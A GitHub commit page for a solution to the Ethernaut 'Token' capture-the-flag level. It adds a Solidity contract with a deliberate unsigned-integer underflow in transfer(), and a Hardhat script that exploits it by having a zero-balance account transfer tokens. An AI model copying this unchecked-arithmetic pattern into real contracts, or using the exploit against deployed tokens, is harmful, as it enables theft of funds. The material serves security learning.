Skip to content

Commit

Permalink
Token challenge (5)
Browse files Browse the repository at this point in the history
  • Loading branch information
antico5 committed Dec 3, 2021
1 parent 8b9b8e9 commit 10b164d
Show file tree
Hide file tree
Showing 4 changed files with 79 additions and 24 deletions.
3 changes: 2 additions & 1 deletion ethernaut_challenges/.env.example
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
ALCHEMY_API_KEY=
ROPSTEN_PRIVATE_KEY=
PRIVATE_KEY_1=
PRIVATE_KEY_2=
22 changes: 22 additions & 0 deletions ethernaut_challenges/contracts/05_Token.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
44 changes: 21 additions & 23 deletions ethernaut_challenges/hardhat.config.ts
Original file line number Diff line number Diff line change
@@ -1,22 +1,22 @@
import "@atixlabs/hardhat-time-n-mine";
import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions";
import "@nomiclabs/hardhat-waffle";
import dotenv from "dotenv";
import "hardhat-gas-reporter";
import "hardhat-tracer";
import { task } from "hardhat/config";
import '@atixlabs/hardhat-time-n-mine'
import '@atixlabs/hardhat-time-n-mine/dist/src/type-extensions'
import '@nomiclabs/hardhat-waffle'
import dotenv from 'dotenv'
import 'hardhat-gas-reporter'
import 'hardhat-tracer'
import { task } from 'hardhat/config'

dotenv.config();
dotenv.config()

// This is a sample Hardhat task. To learn how to create your own go to
// https://hardhat.org/guides/create-task.html
task("accounts", "Prints the list of accounts", async (args, hre) => {
const accounts = await hre.ethers.getSigners();
task('accounts', 'Prints the list of accounts', async (args, hre) => {
const accounts = await hre.ethers.getSigners()

for (const account of accounts) {
console.log(await account.address);
console.log(await account.address)
}
});
})

// You need to export an object to set up your config
// Go to https://hardhat.org/config/ to learn more
Expand All @@ -25,21 +25,21 @@ export default {
solidity: {
compilers: [
{
version: "0.8.7",
version: '0.8.7',
settings: {
outputSelection: {
"*": {
"*": ["storageLayout"],
'*': {
'*': ['storageLayout'],
},
},
},
},
{
version: "0.6.0",
version: '0.6.0',
settings: {
outputSelection: {
"*": {
"*": ["storageLayout"],
'*': {
'*': ['storageLayout'],
},
},
},
Expand All @@ -49,13 +49,11 @@ export default {
networks: {
ropsten: {
url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
accounts:
process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
accounts: [process.env.PRIVATE_KEY_1, process.env.PRIVATE_KEY_2],
},
rinkeby: {
url: `https://eth-rinkeby.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
accounts:
process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
accounts: [process.env.PRIVATE_KEY_1, process.env.PRIVATE_KEY_2],
},
},
};
}
34 changes: 34 additions & 0 deletions ethernaut_challenges/scripts/05_token.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import { Signer } from 'ethers'
import { ethers } from 'hardhat'
import { createLevelInstance, submitLevelInstance } from './ethernaut'

const levelAddress = '0x63bE8347A617476CA461649897238A31835a32CE'

const main = async () => {
const signer = (await ethers.getSigners())[0] as Signer
const otherSigner = (await ethers.getSigners())[1] as Signer

const targetContract = await createLevelInstance('Token', levelAddress, signer)

const printBalances = async () => {
console.log('Total supply: ', (await targetContract.totalSupply()).toString())
console.log('Signer balance: ', (await targetContract.balanceOf(await signer.getAddress())).toString())
console.log('otherSigner balance: ', (await targetContract.balanceOf(await otherSigner.getAddress())).toString())
}

await printBalances()

const transferTx = await targetContract.connect(otherSigner as any).transfer(await signer.getAddress(), 21)
await transferTx.wait()

await printBalances()

await submitLevelInstance(targetContract.address, signer)
}

main()
.then(() => process.exit())
.catch(e => {
console.error(e)
process.exit(1)
})

0 comments on commit 10b164d

Please sign in to comment.